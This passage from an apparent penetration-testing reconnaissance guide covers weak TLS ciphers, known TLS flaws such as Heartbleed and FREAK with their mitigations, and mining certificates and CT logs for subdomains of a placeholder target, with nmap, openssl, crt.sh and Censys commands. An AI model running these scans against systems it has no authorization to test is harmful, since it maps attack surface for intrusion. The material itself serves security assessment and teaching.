&lt;td&gt;EXPORT ciphers&lt;/td&gt;
&lt;td&gt;Deliberately weakened (40-56 bit)&lt;/td&gt;
&lt;td&gt;FREAK, LOGJAM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RC4&lt;/td&gt;
&lt;td&gt;Stream cipher with statistical biases&lt;/td&gt;
&lt;td&gt;RC4 NOMORE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DES/3DES&lt;/td&gt;
&lt;td&gt;56-bit DES key, 112-bit 3DES&lt;/td&gt;
&lt;td&gt;SWEET32&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RSA key exchange (no forward secrecy)&lt;/td&gt;
&lt;td&gt;Static key exchange&lt;/td&gt;
&lt;td&gt;Historical traffic decryption if key compromised&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MD5 for signatures&lt;/td&gt;
&lt;td&gt;Collision vulnerabilities&lt;/td&gt;
&lt;td&gt;Certificate forgery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SHA1 for signatures&lt;/td&gt;
&lt;td&gt;Collision vulnerabilities&lt;/td&gt;
&lt;td&gt;SHAttered&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Anonymous DH (aDH/aNULL)&lt;/td&gt;
&lt;td&gt;No server authentication&lt;/td&gt;
&lt;td&gt;MitM&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Forward Secrecy (Perfect Forward Secrecy — PFS):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Forward secrecy means that session keys are not compromised even if the server's long-term private key is compromised. It is provided by Ephemeral key exchange algorithms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ECDHE&lt;/strong&gt; (Elliptic Curve Diffie-Hellman Ephemeral) — Preferred&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DHE&lt;/strong&gt; (Diffie-Hellman Ephemeral) — Acceptable, but slower than ECDHE&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RSA&lt;/strong&gt; key exchange — No forward secrecy (static keys)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Identification of TLS weaknesses during passive recon:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SSL Labs — Most comprehensive TLS analysis (passive — uses their servers)&lt;/span&gt;
&lt;span class="c"&gt;# https://www.ssllabs.com/ssltest/analyze.html?d=targetco.com&lt;/span&gt;

&lt;span class="c"&gt;# testssl.sh — Active tool but usable against own infrastructure&lt;/span&gt;
testssl.sh &lt;span class="nt"&gt;--full&lt;/span&gt; targetco.com

&lt;span class="c"&gt;# sslscan — Active scanning tool&lt;/span&gt;
sslscan targetco.com

&lt;span class="c"&gt;# nmap TLS scripts (active)&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-enum-ciphers &lt;span class="nt"&gt;-p&lt;/span&gt; 443 targetco.com
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-dh-params &lt;span class="nt"&gt;-p&lt;/span&gt; 443 targetco.com

&lt;span class="c"&gt;# Check for HSTS&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://targetco.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; strict
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Major TLS Vulnerabilities — Professional Reference
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;POODLE — Padding Oracle On Downgraded Legacy Encryption&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2014-3566&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Affects:&lt;/strong&gt; SSL 3.0 (original POODLE), TLS 1.0/1.1 (POODLE TLS variant)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mechanism:&lt;/strong&gt; Exploits CBC padding oracle in SSL 3.0 to decrypt sessions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Decryption of encrypted HTTP cookies, potentially exposing session tokens&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mitigation:&lt;/strong&gt; Disable SSL 3.0 and TLS 1.0; use TLS 1.2+ with authenticated encryption modes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;BEAST — Browser Exploit Against SSL/TLS&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2011-3389&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Affects:&lt;/strong&gt; TLS 1.0 using CBC mode cipher suites&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mechanism:&lt;/strong&gt; Exploits a predictable IV (Initialization Vector) in TLS 1.0 CBC mode&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Potential decryption of HTTPS traffic&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mitigation:&lt;/strong&gt; TLS 1.2+ with AEAD ciphers (GCM mode); or RC4 (itself now deprecated)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;HEARTBLEED&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2014-0160&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Affects:&lt;/strong&gt; OpenSSL 1.0.1 through 1.0.1f&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mechanism:&lt;/strong&gt; Buffer over-read in the HeartBeat extension — allows reading 64KB of server memory per request&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Exposure of private keys, session tokens, passwords from server memory&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mitigation:&lt;/strong&gt; Upgrade to OpenSSL 1.0.1g or later; revoke and reissue all certificates
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check for Heartbleed (active)&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-heartbleed &lt;span class="nt"&gt;-p&lt;/span&gt; 443 targetco.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;FREAK — Factoring RSA Export Keys&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2015-0204&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Affects:&lt;/strong&gt; Servers supporting RSA EXPORT cipher suites (FREAK)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mechanism:&lt;/strong&gt; Client can be forced to use deliberately weakened 512-bit export RSA keys, which can be factored&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Full session decryption via man-in-the-middle&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mitigation:&lt;/strong&gt; Disable all EXPORT cipher suites&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;LOGJAM&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2015-4000&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Affects:&lt;/strong&gt; Servers supporting DHE EXPORT cipher suites (512-bit DH)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mechanism:&lt;/strong&gt; Similar to FREAK but targeting Diffie-Hellman&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Downgrade to weak DH parameters, enabling session decryption&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mitigation:&lt;/strong&gt; Disable DHE EXPORT; use 2048-bit+ DH parameters or ECDHE&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;DROWN — Decrypting RSA with Obsolete and Weakened eNcryption&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2016-0800&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Affects:&lt;/strong&gt; Any server sharing an RSA private key with a server that supports SSL 2.0&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mechanism:&lt;/strong&gt; Uses SSL 2.0 vulnerabilities to decrypt TLS sessions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Decryption of TLS sessions for affected servers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mitigation:&lt;/strong&gt; Disable SSL 2.0 on all servers sharing a private key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;SWEET32 — Birthday Attacks on 64-bit Block Ciphers&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2016-2183&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Affects:&lt;/strong&gt; 3DES (64-bit block cipher) in TLS&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mechanism:&lt;/strong&gt; Birthday attack — after ~32GB of same-key traffic, collision reveals plaintext&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Session cookie exposure in long-lived HTTPS sessions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mitigation:&lt;/strong&gt; Disable 3DES (RC4_128, 3DES_EDE_CBC) cipher suites; limit session renegotiation&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Certificate Weaknesses
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Weak Key Sizes:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Algorithm&lt;/th&gt;
&lt;th&gt;Minimum Recommended&lt;/th&gt;
&lt;th&gt;Deprecated Below&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RSA&lt;/td&gt;
&lt;td&gt;2048 bits&lt;/td&gt;
&lt;td&gt;1024 bits (since 2013)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ECDSA&lt;/td&gt;
&lt;td&gt;256 bits (P-256)&lt;/td&gt;
&lt;td&gt;Below P-256&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DSA&lt;/td&gt;
&lt;td&gt;2048 bits&lt;/td&gt;
&lt;td&gt;1024 bits&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Signature Algorithm Weaknesses:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;MD5 signatures:&lt;/strong&gt; Cryptographically broken since 2004; MD5 signed certificates should be immediately revoked&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SHA-1 signatures:&lt;/strong&gt; Theoretically broken (SHAttered attack, 2017); browsers since 2017 reject SHA-1 certificates&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SHA-2 (SHA-256, SHA-384, SHA-512):&lt;/strong&gt; Current standard, no known practical weaknesses&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SHA-3:&lt;/strong&gt; Available but rarely deployed; provides additional algorithm diversity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Certificate Validity and Management Issues:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Expired certificates:&lt;/strong&gt; Indicates poor certificate management, potentially revealing processes for certificate deployment that can be abused&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Self-signed certificates:&lt;/strong&gt; Indicates non-standard deployment; may indicate test or internal systems exposed publicly&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wildcard certificates (*.targetco.com):&lt;/strong&gt; A single wildcard certificate covers all subdomains; if the private key is compromised, ALL subdomains are compromised&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Overly broad SAN lists:&lt;/strong&gt; Many subdomains in SAN list reveals infrastructure (valuable for recon) and if one subjectAltName system is compromised, the certificate trust may be leveraged&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Certificate Authority Trust Issues:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Unknown/private CA:&lt;/strong&gt; Certificate signed by an internal CA — server may only be intended for internal use but is externally exposed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Distrusted CA:&lt;/strong&gt; A CA whose root certificate has been revoked or distrusted by major browsers (e.g., Symantec CAs distrusted in 2018)&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3.1.14 Finding Information from SSL Certificates
&lt;/h3&gt;

&lt;p&gt;SSL/TLS certificates contain rich metadata that is extremely valuable for passive reconnaissance. Every certificate presented by a server is a public document and can be examined without any authentication.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reading Certificate Information
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Using command-line tools:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Get certificate from server&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; targetco.com:443 &lt;span class="nt"&gt;-servername&lt;/span&gt; targetco.com &amp;lt; /dev/null 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt;

&lt;span class="c"&gt;# Extract just the key fields&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; targetco.com:443 &amp;lt; /dev/null 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-subject&lt;/span&gt; &lt;span class="nt"&gt;-issuer&lt;/span&gt; &lt;span class="nt"&gt;-dates&lt;/span&gt; &lt;span class="nt"&gt;-fingerprint&lt;/span&gt; &lt;span class="nt"&gt;-ext&lt;/span&gt; subjectAltName

&lt;span class="c"&gt;# Output example:&lt;/span&gt;
&lt;span class="nv"&gt;subject&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;targetco.com, &lt;span class="nv"&gt;O&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Target Company Inc., &lt;span class="nv"&gt;L&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;San Francisco, &lt;span class="nv"&gt;ST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;California, &lt;span class="nv"&gt;C&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;US
&lt;span class="nv"&gt;issuer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;DigiCert TLS RSA SHA256 2020 CA1, &lt;span class="nv"&gt;O&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;DigiCert Inc, &lt;span class="nv"&gt;C&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;US
&lt;span class="nv"&gt;notBefore&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Jan  1 00:00:00 2024 GMT
&lt;span class="nv"&gt;notAfter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Dec 31 23:59:59 2024 GMT
SHA256 &lt;span class="nv"&gt;Fingerprint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;AA:BB:CC:DD:EE:FF:...
X509v3 Subject Alternative Name:
    DNS:targetco.com
    DNS:www.targetco.com
    DNS:api.targetco.com
    DNS:auth.targetco.com
    DNS:mail.targetco.com
    DNS:dev.targetco.com
    DNS:staging.targetco.com
    DNS:internal-wiki.targetco.com   ← INTERNAL SYSTEM EXPOSED!
    DNS:jira.targetco.com
    DNS:confluence.targetco.com
    DNS:gitlab.targetco.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence from this single certificate:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Organization:&lt;/strong&gt; "Target Company Inc." — confirms organization name&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Location:&lt;/strong&gt; San Francisco, California, USA — physical location confirmation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CA:&lt;/strong&gt; DigiCert — enterprise-grade certificate provider&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validity period:&lt;/strong&gt; Full year certificate (common in enterprise)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;All subdomains (SAN list):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;api.targetco.com&lt;/code&gt; — API endpoint exists&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;auth.targetco.com&lt;/code&gt; — Authentication service (SSO? OAuth? SAML?)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dev.targetco.com&lt;/code&gt; — Development environment externally exposed&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;staging.targetco.com&lt;/code&gt; — Staging environment externally exposed&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;internal-wiki.targetco.com&lt;/code&gt; — CRITICAL: Internal wiki publicly accessible&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;jira.targetco.com&lt;/code&gt; — Jira project management&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;confluence.targetco.com&lt;/code&gt; — Confluence wiki&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;gitlab.targetco.com&lt;/code&gt; — Internal GitLab instance&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This single certificate reveals an entire secondary set of attack targets.&lt;/p&gt;

&lt;h4&gt;
  
  
  Certificate Transparency (CT) Log Mining
&lt;/h4&gt;

&lt;p&gt;Certificate Transparency is a public audit trail for SSL certificates. Every certificate issued by a publicly trusted CA is logged to append-only CT logs, and these logs are permanently accessible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why CT logs provide passive historical intelligence:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Every certificate ever issued for a domain is logged — even expired ones&lt;/li&gt;
&lt;li&gt;Reveals subdomains that existed in the past (even if the DNS records are now gone)&lt;/li&gt;
&lt;li&gt;Shows when the organization changed certificate providers&lt;/li&gt;
&lt;li&gt;Reveals internal project names in historically issued certificates&lt;/li&gt;
&lt;li&gt;Shows wildcard vs. specific subdomain certificate usage patterns&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;CT Log Tools:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# crt.sh — Primary public CT search interface&lt;/span&gt;
curl &lt;span class="s1"&gt;'https://crt.sh/?q=%.targetco.com&amp;amp;output=json'&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import json, sys
data = json.load(sys.stdin)
domains = set()
for cert in data:
    names = cert.get('name_value', '').split('&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;')
    for name in names:
        name = name.strip().lstrip('*.')
        if name:
            domains.add(name)
for d in sorted(domains):
    print(d)
"&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ct_subdomains.txt

&lt;span class="c"&gt;# Certspotter&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://api.certspotter.com/v1/issuances?domain=targetco.com&amp;amp;include_subdomains=true&amp;amp;expand=dns_names"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer YOUR_TOKEN"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool

&lt;span class="c"&gt;# Facebook CT Monitoring&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://graph.facebook.com/certificates?query=targetco.com&amp;amp;fields=domains,issuer_name,not_before,not_after"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analyzing CT History for Intelligence:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Historical certificates for targetco.com:

2015: *.targetco.com (wildcard) — old infrastructure approach
2018: targetco.com, www.targetco.com, api.targetco.com — legacy structure
2020: includes dev.targetco.com — development environment appears
2021: includes vpn.targetco.com — VPN service added
2022: includes staging.targetco.com, qa.targetco.com — test environments
2023: internal-wiki.targetco.com DISAPPEARS from certificate — removed? still running?
2024: current certificate as analyzed above

Insight: dev, staging, and qa environments have existed since 2020-2022 and likely 
still run legacy software from when they were first deployed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Certificate Analysis Tools
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;URL/Command&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SSL Labs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Comprehensive TLS analysis with grade&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.ssllabs.com/ssltest/" rel="noopener noreferrer"&gt;https://www.ssllabs.com/ssltest/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;crt.sh&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CT log search&lt;/td&gt;
&lt;td&gt;&lt;a href="https://crt.sh" rel="noopener noreferrer"&gt;https://crt.sh&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Censys&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Certificate search, host analysis&lt;/td&gt;
&lt;td&gt;&lt;a href="https://search.censys.io" rel="noopener noreferrer"&gt;https://search.censys.io&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Observatory by Mozilla&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TLS, headers, security analysis&lt;/td&gt;
&lt;td&gt;&lt;a href="https://observatory.mozilla.org" rel="noopener noreferrer"&gt;https://observatory.mozilla.org&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;testssl.sh&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Command-line TLS testing&lt;/td&gt;
&lt;td&gt;&lt;code&gt;testssl.sh targetco.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;cert-parse&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Extract SANs from certificates&lt;/td&gt;
&lt;td&gt;`openssl s_client ...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;tlsx&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fast TLS scanning&lt;/td&gt;
&lt;td&gt;{% raw %}&lt;code&gt;tlsx -u targetco.com -san -cn&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# tlsx — Modern, fast TLS reconnaissance&lt;/span&gt;
tlsx &lt;span class="nt"&gt;-u&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-san&lt;/span&gt; &lt;span class="nt"&gt;-cn&lt;/span&gt; &lt;span class="nt"&gt;-resp&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 443,8443
tlsx &lt;span class="nt"&gt;-list&lt;/span&gt; domains.txt &lt;span class="nt"&gt;-san&lt;/span&gt; &lt;span class="nt"&gt;-json&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; tls_results.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3.1.15 Company Reputation and Security Posture
&lt;/h3&gt;

&lt;p&gt;Assessing a target organization's public security reputation and posture provides context for the assessment and reveals historical vulnerabilities, threat actor attention, and security program maturity.&lt;/p&gt;

&lt;h4&gt;
  
  
  Threat Intelligence Platforms
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;VirusTotal aggregates results from 70+ antivirus engines and URL/file scanners. It is valuable for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check domain reputation&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://www.virustotal.com/api/v3/domains/targetco.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-apikey: YOUR_KEY"&lt;/span&gt;

&lt;span class="c"&gt;# Check IP reputation&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://www.virustotal.com/api/v3/ip_addresses/203.0.113.50"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-apikey: YOUR_KEY"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence gathered:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Malicious URL reports (has the domain served malware?)&lt;/li&gt;
&lt;li&gt;Phishing reports (has the domain been used in phishing?)&lt;/li&gt;
&lt;li&gt;Malware downloads (has the domain distributed malware?)&lt;/li&gt;
&lt;li&gt;Associated files (malware samples communicating with the IP)&lt;/li&gt;
&lt;li&gt;Community comments (security researcher observations)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A domain with a history of malware distribution may indicate previous compromise or insider threat activity — both critical pre-assessment intelligence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shodan (Reputation/History):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Beyond its scanning capabilities (covered in 3.1.21), Shodan maintains historical data on every IP's service history:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What ports were open in the past&lt;/li&gt;
&lt;li&gt;What software versions were running&lt;/li&gt;
&lt;li&gt;When services appeared and disappeared&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Censys:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Similar to Shodan, Censys regularly scans the entire Internet's IPv4 address space.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Censys search for organization&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://search.censys.io/api/v2/hosts/search"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Basic &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'ID:SECRET'&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"q": "autonomous_system.organization: \"Target Company Inc.\"", "per_page": 100}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

